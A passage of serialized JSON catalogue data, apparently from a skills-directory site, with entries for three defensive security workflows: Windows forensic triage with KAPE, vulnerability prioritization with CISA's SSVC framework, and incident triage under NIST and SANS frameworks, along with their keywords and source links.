Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[207],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[209,210,211,45,212,213,214,215,216,217,218,219,220,221,222,223,166,224,225,226],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":228,"name":229,"nameZh":6,"description":230,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":231,"categories":232,"keywords":234,"publishedAt":46},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[233],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[28,235,236,45,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":254,"name":255,"nameZh":6,"description":256,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":257,"categories":258,"keywords":260,"publishedAt":46},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[259],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[38,261,45,262,263,264,265,266,267,268,269,196,270,197,271,272,273,274,275,276],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]